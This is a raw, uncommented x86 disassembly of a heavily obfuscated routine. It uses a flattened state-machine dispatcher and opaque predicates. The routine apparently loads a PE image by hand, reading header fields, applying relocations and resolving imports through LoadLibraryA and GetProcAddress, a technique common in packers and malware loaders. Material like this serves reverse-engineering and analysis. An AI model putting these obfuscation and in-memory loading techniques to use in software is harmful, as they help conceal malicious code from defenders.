mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc2cc20af
jmp 0x404de1
cmp eax, 0x800d308a
je 0x405141
cmp eax, 0x801e4a61
jne 0x401800
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c01c]
mov edx, dword [edx]
mov ebx, dword [ebp - 0x4c02c]
lea ecx, [ecx + ecx*4]
mov ebx, dword [ebx]
mov esi, dword [ebp - 0x4c020]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add edx, dword [ebx + esi*8 + 0xc]
push dword [ebp - 0x4c0bc]
push dword [ebp - 0x4c11c]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.00401680
add esp, 0x10
mov eax, dword [ebp - 0x4c024]
mov eax, dword [ebp - 0x4c03c]
mov eax, dword [0x4b03e8]
mov esi, 0x2b0def8
mov ebx, 0x21b645ba
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x21b645ba
jmp 0x4054f6
cmp eax, 0x267d1f32
je 0x405163
cmp eax, 0x26c35f3c
jne 0x401800
mov eax, dword [ebp - 0x4c058]
mov eax, 0xf2beb749
jmp 0x401800
cmp eax, 0xe3848a65
je 0x405179
cmp eax, 0xe3fe55b7
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x66d9da6f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x583bbdbf
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c048]
cmovge ecx, ebx
mov eax, dword [eax]
mov edx, dword [ebp - 0x4c030]
mov edx, dword [edx]
cmp dword [eax + edx*4], 0
mov eax, ecx
setne byte [ebp - 0x4c080]
jmp 0x401800
cmp eax, 0x60c00511
je 0x4051a2
cmp eax, 0x60f0c02d
jne 0x401800
mov eax, dword [ebp - 0x4c0d4]
mov eax, 0xe3419813
jmp 0x401800
cmp eax, 0xa22339a1
je 0x4051c1
cmp eax, 0xa2a63ae1
jne 0x401800
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [eax]
mov dword [ebp - 0x4c180], eax
mov eax, dword [ebp - 0x4c038]
mov eax, dword [eax]
mov dword [ebp - 0x4c184], eax
mov eax, 0x8e0f896f
jmp 0x401800
cmp eax, 0x133e759d
je 0x4051d7
cmp eax, 0x145194f9
jne 0x401800
cmp dword [ebp - 0x4c198], 0
mov eax, 0xe1c161ea
mov ecx, 0xcba67ce7
cmove eax, ecx
jmp 0x401800
cmp eax, 0xd08e6a65
je 0x4051e1
cmp eax, 0xd0c1182b
jne 0x401800
mov eax, dword [ebp - 0x4c030]
mov esi, 0x323df1e1
mov ebx, 0x30fd2ab0
mov dword [eax], 0
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x30fd2ab0
jmp 0x4054fe
cmp eax, 0x532dc4b8
je 0x4051eb
cmp eax, 0x538ae665
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xeb77d491
lea ecx, [edx - 1]
jmp 0x4053c7
cmp eax, 0x9495b728
je 0x40520a
cmp eax, 0x94c1e779
jne 0x401800
mov eax, 0x4a19b220
jmp 0x401800
cmp eax, 0x33741abd
je 0x405259
cmp eax, 0x339a8c92
jne 0x401800
cmp byte [ebp - 0x4c079], 0
mov eax, 0x26c35f3c
mov ecx, 0x5895a002
cmovne eax, ecx
jmp 0x401800
cmp eax, 0xf04feef5
je 0x40526d
cmp eax, 0xf0fdd1a5
jne 0x401800
mov eax, 0x1416bd9
jmp 0x401800
cmp eax, 0x6a3bc9fe
je 0x4052b2
cmp eax, 0x6a7368e9
jne 0x401800
mov eax, dword [ebp - 0x4c03c]
mov dword [eax], 2
mov eax, 0xe348900b
jmp 0x401800
cmp eax, 0xb5ce0982
je 0x4052d2
cmp eax, 0xb6d5d818
jne 0x401800
mov dword [ebp - 0x4c028], 1
mov eax, 0xf7be2b7a
jmp 0x401800
cmp eax, 0x38f1c3d
je 0x4052f1
cmp eax, 0x4a9204e
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x57f5c5b6
mov esi, 0x28075457
mov dword [ebp - 0x4c028], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x28075457
sete cl
cmove eax, ebx
cmp dword [0x4b03e4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x401800
cmp eax, 0xcd1317e5
je 0x405302
cmp eax, 0xcd6d94c8
jne 0x401800
mov eax, dword [ebp - 0x4c05c]
mov ecx, dword [ebp - 0x4c178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c040]
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [ebp - 0x4c0b0]
mov eax, 0xa5566c87
jmp 0x401800
cmp eax, 0x4bb21431
je 0x405312
cmp eax, 0x4ca1aa8e
jne 0x401800
mov eax, dword [ebp - 0x4c038]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4c110], eax
mov eax, 0xfe17fab4
jmp 0x401800
cmp eax, 0x8e0f896f
je 0x40532b
cmp eax, 0x8e39d405
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x6b302331
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xe24a73f7
jmp 0x40544f
cmp eax, 0x2e3fe0f2
je 0x405350
cmp eax, 0x2ed3316c
jne 0x401800
movzx eax, word [ebp - 0x4c0a8]
mov eax, dword [ebp - 0x4c114]
mov eax, 0x42356fa2
jmp 0x401800
cmp eax, 0xeb77d491
je 0x4053b4
cmp eax, 0xebd766a1
jne 0x401800
mov eax, dword [ebp - 0x4c15c]
mov ecx, dword [ebp - 0x4c040]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov dword [eax], 0
mov eax, 0x227de85a
jmp 0x401800
cmp eax, 0x66d9da6f
je 0x4053e4
cmp eax, 0x67262100
jne 0x401800
mov eax, 0xb955f169
jmp 0x401800
cmp eax, 0xaa826857
je 0x4053ee
cmp eax, 0xaaaab5fa
jne 0x401800
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x4c138], 0
mov dword [ebp - 0x4c134], eax
mov eax, 0xaf6e977a
jmp 0x401800
cmp eax, 0x1d80105a
je 0x40540d
cmp eax, 0x1f67e33c
jne 0x401800
cmp dword [ebp - 0x4c0a4], 0
mov eax, dword [0x4b03e8]
mov ebx, 0xce18351f
mov esi, 0x800d308a
lea ecx, [eax + 1]
sets byte [ebp - 0x4c082]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x800d308a
jmp 0x4017e3
cmp eax, 0xdbb82d11
je 0x405417
cmp eax, 0xdd971a6a
jne 0x401800
mov eax, dword [ebp - 0x4c030]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c030]
inc eax
mov dword [ecx], eax
mov eax, 0x538ae665
jmp 0x401800
cmp eax, 0x5aa13511
je 0x405421
cmp eax, 0x5b414c81
jne 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xd54db098
jmp 0x403e63
cmp eax, 0x9a301044
je 0x405467
cmp eax, 0x9a994ac5
jne 0x401800
mov eax, 0x29761d0a
jmp 0x401800
cmp eax, 0x3bcbd3bd
je 0x40547b
cmp eax, 0x3be47bb3
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xbdc238e2
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x360de795
jmp 0x40544f
cmp eax, 0xf7be2b7a
je 0x405485
cmp eax, 0xf831e794
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xb5ce0982
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa2f91439
jmp 0x40512c
cmp eax, 0x74600abc
je 0x4054d2
cmp eax, 0x7463ab12
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xd0c1182b
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x30fd2ab0
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c030]
jmp 0x4058b8
cmp eax, 0xbfeb8afa
je 0x4054dc
cmp eax, 0xc163ab12
jne 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x4ed01ca5
mov ebx, 0x8af3fe18
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8af3fe18
jmp 0x4054f6
cmp eax, 0x13b8ed0
je 0x40551b
cmp eax, 0x1416bd9
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xe3fe55b7
mov esi, 0x583bbdbf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x583bbdbf
jmp 0x4017db
cmp eax, 0xc8c993fa
je 0x405525
cmp eax, 0xcae4b511
jne 0x401800
mov eax, dword [ebp - 0x4c044]
push dword [ebp - 0x4c188]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c04c]
mov dword [ecx], eax
mov ecx, 0x8423acba
mov eax, dword [ebp - 0x4c04c]
cmp dword [eax], 0
mov eax, 0x97beea2b
cmove eax, ecx
jmp 0x401800
cmp eax, 0x47659110
je 0x405572
cmp eax, 0x47fbe5d7
jne 0x401800
mov eax, 0x2d479b43
jmp 0x401800
cmp eax, 0x86381346
je 0x405596
cmp eax, 0x86f98f07
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xe3419813
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x60f0c02d
jmp 0x40512c
cmp eax, 0x283ae084
je 0x4055a0
cmp eax, 0x29761d0a
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xcf21aa2f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9a994ac5
jmp 0x40544f
cmp eax, 0xe8c66677
je 0x4055bf
cmp eax, 0xe98ecb47
jne 0x401800
mov eax, dword [ebp - 0x4c16c]
mov esi, dword [ebp - 0x4c168]
mov ecx, 0xfff
and eax, ecx
mov edx, dword [esi + eax]
add edx, dword [ebp - 0x4c164]
mov dword [esi + eax], edx
mov eax, 0xb3eb5757
jmp 0x401800
cmp eax, 0x63a50bae
je 0x405630
cmp eax, 0x65064dc4
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xcde977f6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa22339a1
jmp 0x4058ab
cmp eax, 0xa67eb555
je 0x405654
cmp eax, 0xa687cacc
jne 0x401800
mov eax, dword [ebp - 0x4c03c]
mov eax, dword [eax]
mov dword [ebp - 0x4c11c], eax
mov eax, 0x60c00511
jmp 0x401800
cmp eax, 0x17c6a32d
je 0x405737
cmp eax, 0x1802636b
jne 0x401800
movzx eax, word [edi + 0x14]
mov esi, 0x62bac181
add eax, dword [ebp - 0x4c09c]
mov ecx, dword [ebp - 0x4c02c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c034]
mov eax, dword [ebp - 0x4c034]
mov dword [eax], 0
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5e1694e4
jmp 0x40529c
cmp eax, 0xd6a2213e
je 0x40575d
cmp eax, 0xd7830dfc
jne 0x401800
mov eax, dword [ebp - 0x4c0f0]
mov esi, 0x9140d8e0
mov ebx, 0xfeab059e
cmp eax, dword [ebp - 0x4c0f4]
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
setl byte [ebp - 0x4c07c]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xfeab059e
jmp 0x4054fe
cmp eax, 0x57f5c5b6
je 0x4057a9
cmp eax, 0x583bbdbf
jne 0x401800
mov eax, dword [ebp - 0x4c048]
mov eax, dword [ebp - 0x4c030]
mov eax, 0xe3fe55b7
jmp 0x401800
cmp eax, 0x97beea2b
je 0x4057b3
cmp eax, 0x985ac543
jne 0x401800
cmp byte [ebp - 0x4c085], 0
mov eax, 0xbe86dbd0
mov ecx, 0x6a7368e9
cmovne eax, ecx
jmp 0x401800
cmp eax, 0x355df4d2
je 0x4057fb
cmp eax, 0x360de795
jne 0x401800
mov eax, 0x3be47bb3
jmp 0x401800
cmp eax, 0xf3b800fd
je 0x405819
cmp eax, 0xf4bd4a4c
jne 0x401800
mov eax, 0xbd736c2e
jmp 0x401800
cmp eax, 0x6f2d8c6f
je 0x4017c1
cmp eax, 0x701440f1
jne 0x401800
mov eax, dword [ebp - 0x4c058]
mov eax, dword [eax]
add eax, dword [ebp - 0x4c14c]
mov ecx, dword [ebp - 0x4c05c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c064]
mov eax, dword [ebp - 0x4c064]
mov dword [eax], 0
mov eax, 0xa5566c87
jmp 0x401800
cmp eax, 0xb9d27255
je 0x405847
cmp eax, 0xbb51f12c
jne 0x401800
mov eax, dword [ebp - 0x4c020]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
inc eax
mov dword [ecx], eax
mov eax, 0xcc17bdee
jmp 0x401800
cmp eax, 0xd93507d
je 0x405851
cmp eax, 0x10e3bf18
jne 0x401800
mov eax, dword [ebp - 0x4c174]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x4c064]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x4c064]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c040]
mov eax, dword [eax]
mov dword [ebp - 0x4c178], eax
mov eax, 0xcd6d94c8
jmp 0x401800
cmp eax, 0xce18351f
je 0x40585b
cmp eax, 0xcebc1183
jne 0x401800
mov eax, dword [ebp - 0x4c044]
mov ecx, dword [ebp - 0x4c0fc]
mov esi, 0x98d0b397
mov dword [eax], ecx
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xe3494423
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c044]
cmovge ecx, ebx
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x4c07f]
jmp 0x401800
cmp eax, 0x4fcc34ef
je 0x405874
cmp eax, 0x515f9239
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xf7be2b7a
mov esi, 0xb6d5d818
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb6d5d818
jmp 0x4017e3
cmp eax, 0x90b07b39
je 0x40587e
cmp eax, 0x90c9fec9
jne 0x401800
mov eax, 0xeead7344
jmp 0x401800
cmp eax, 0x303455d3
je 0x4058c2
cmp eax, 0x30bcaf56
jne 0x401800
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c060]
mov eax, dword [ebp - 0x4c074]
mov eax, dword [ebp - 0x4c054]
mov eax, dword [ebp - 0x4c050]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c0bc]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [ebp - 0x4c058]
mov eax, 0xd93507d
jmp 0x401800
cmp eax, 0xec393d37
je 0x4058d6
cmp eax, 0xecef0322
jne 0x401800
mov eax, 0xd93507d
jmp 0x401800
cmp eax, 0x680f9edc
je 0x4058e6
cmp eax, 0x683a65e8
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x9e9b563e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xcd1317e5
jmp 0x4058ab
cmp eax, 0xaf8d6fee
je 0x4058f0
cmp eax, 0xb1b8040d
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x965ace57
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xec0874fc
jmp 0x4058ab
cmp eax, 0x222bef7b
je 0x405908
cmp eax, 0x227de85a
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xe70a5568
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3aba7ab8
jmp 0x40512c
cmp eax, 0xe24a73f7
je 0x405912
cmp eax, 0xe3419813
jne 0x401800
mov eax, dword [ebp - 0x4c0d4]
mov ebx, 0x90c9fec9
mov esi, 0x60f0c02d
mov dword [ebp - 0x4c128], eax
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x60f0c02d
jmp 0x4017e3
cmp eax, 0x5e1694e4
je 0x405939
cmp eax, 0x5e9d59d6
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xcde2fbfc
mov esi, 0xc89f15e0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc89f15e0
jmp 0x4017db
cmp eax, 0x9ec51d47
je 0x405979
cmp eax, 0x9fbbcec5
jne 0x401800
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c02c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c034]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x4c0e0], eax
lea eax, [ebp - 0x4c010]
mov dword [ebp - 0x4c0e4], eax
mov eax, 0x9e431ef4
jmp 0x401800
cmp eax, 0x40da7e2c
je 0x405991
cmp eax, 0x415a2596
jne 0x401800
mov eax, dword [ebp - 0x4c0b8]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c06c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c038]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0x4c0b8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c044]
mov eax, dword [ebp - 0x4c0b8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c0fc], eax
mov eax, 0x34eaaf4
jmp 0x401800
cmp eax, 0xf9b4f333
je 0x40599b
cmp eax, 0xfaccf4a8
jne 0x401800
mov eax, 0xb955f169
jmp 0x401800
cmp eax, 0x77d16737
je 0x4059a5
cmp eax, 0x78a302ec
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xd7830dfc
mov esi, 0xfeab059e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xfeab059e
jmp 0x4017e3
cmp eax, 0xbdcf170f
je 0x405a07
cmp eax, 0xbe86dbd0
jne 0x401800
mov eax, 0x3bcbd3bd
jmp 0x401800
mov eax, dword [ebp - 0x4c03c]
mov eax, dword [0x4b03e8]
mov esi, 0x2e3fe0f2
mov ebx, 0xcc6c488
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcc6c488
jmp 0x4054f6
mov eax, dword [ebp - 0x4c01c]
mov ecx, dword [edi + 0x80]
mov ebx, 0xbc7deae2
mov esi, 0xb9b2c593
add ecx, dword [eax]
mov eax, dword [0x4b03e8]
mov dword [ebp - 0x4c17c], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb9b2c593
jmp 0x4017db
mov eax, 0xebf0cba6
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x42356fa2
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2ed3316c
jmp 0x40544f
mov eax, dword [ebp - 0x4c0d8]
mov eax, dword [ebp - 0x4c0dc]
mov eax, 0xd25a01e4
jmp 0x401800
mov eax, dword [ebp - 0x4c03c]
mov dword [eax], 4
mov eax, 0xf4e9b5a3
jmp 0x401800
mov eax, 0x111e3906
jmp 0x401800
mov eax, dword [ebp - 0x4c064]
mov eax, 0x6997023e
jmp 0x401800
mov eax, 0x65064dc4
jmp 0x401800
cmp dword [ebp - 0x4c190], 0
mov eax, 0x904709d8
mov ecx, 0x91db37d9
cmove eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xe8c66677
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc1eb759a
jmp 0x40544f
mov eax, dword [0x4b03e8]
mov esi, 0xe9bf5e24
mov ebx, 0x1be66918
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1be66918
jmp 0x4054fe
mov eax, 0x95794bd
jmp 0x401800
mov eax, dword [ebp - 0x4c148]
mov ecx, dword [ebp - 0x4c144]
cmp ecx, dword [eax + 0x34]
mov eax, 0x3e675d63
mov ecx, 0xbed1bde2
cmove eax, ecx
jmp 0x401800
mov eax, 0xb5ce0982
jmp 0x401800
mov eax, 0x1bd650e9
jmp 0x401800
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov dword [ebp - 0x4c144], eax
mov eax, 0x345f8dcf
jmp 0x401800
cmp byte [ebp - 0x4c07b], 0
mov eax, 0x4d5d1019
mov ecx, 0x9fbbcec5
cmovne eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x67d62a7f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x45ceaa77
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0d8]
cmovge eax, edx
cmp ecx, dword [ebp - 0x4c0dc]
setl byte [ebp - 0x4c07b]
jmp 0x401800
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c054]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c098]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x51ed2114
jmp 0x401800
mov eax, dword [ebp - 0x4c034]
mov eax, dword [eax]
mov dword [ebp - 0x4c0d8], eax
movzx eax, word [edi + 6]
mov dword [ebp - 0x4c0dc], eax
mov eax, 0xaf866720
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x6f2d8c6f
mov ebx, 0xdbb82d11
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdbb82d11
jmp 0x4054f6
cmp byte [ebp - 0x4c081], 0
mov eax, 0x283ae084
mov ecx, 0xfeb2f5f7
cmovne eax, ecx
jmp 0x401800
mov eax, 0x3bcbd3bd
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xc5805941
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x177183f1
jmp 0x4058ab
mov eax, dword [0x4b03e8]
mov esi, 0x65d3cc34
mov ebx, 0xea1e6a57
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xea1e6a57
jmp 0x4054f6
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xd8e9478b
lea eax, [edx + 1]
imul eax, edx
mov ebx, eax
xor ebx, 0xfffffffe
test ebx, eax
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xede8235e
cmovne edx, esi
test ebx, eax
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0e4]
cmovge eax, edx
mov dword [ebp - 0x4c0a0], ecx
mov ecx, dword [ebp - 0x4c02c]
mov ecx, dword [ecx]
mov ebx, dword [ebp - 0x4c034]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea ecx, [ecx + ebx*8]
mov dword [ebp - 0x4c0e8], ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c024]
mov ebx, 0x1fd66dd5
mov esi, 0xa78755ce
mov eax, dword [eax]
mov dword [ebp - 0x4c194], eax
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa78755ce
jmp 0x4017db
push dword [ebp - 0x4c100]
push dword [ebp - 0x4c104]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c04c]
mov ebx, 0x8fc0c8ac
mov esi, 0xe24a73f7
mov dword [ecx], eax
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe24a73f7
jmp 0x4017e3
mov eax, 0xd95c333a
jmp 0x401800
mov eax, dword [ebp - 0x4c0b0]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c05c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x4c0b0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x4c158], eax
mov eax, 0x68982ac4
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x19c5ae0b
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x89d1b6f9
jmp 0x4058ab
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x12aa7027
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x24228c0f
jmp 0x40512c
mov eax, dword [ebp - 0x4c0c0]
mov esi, 0x985ac543
mov ebx, 0x52eb8ecc
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4b03e8]
setne byte [ebp - 0x4c085]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x52eb8ecc
jmp 0x4054f6
mov eax, 0x27566596
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x40da7e2c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc89f15e0
jmp 0x40544f
mov eax, 0xec393d37
mov dword [ebp - 0x4c028], 2
jmp 0x401800
push eax
mov eax, esp
mov dword [ebp - 0x4c044], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c048], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c030], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c070], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c04c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0bc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c020], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c03c], eax
push eax
mov eax, esp
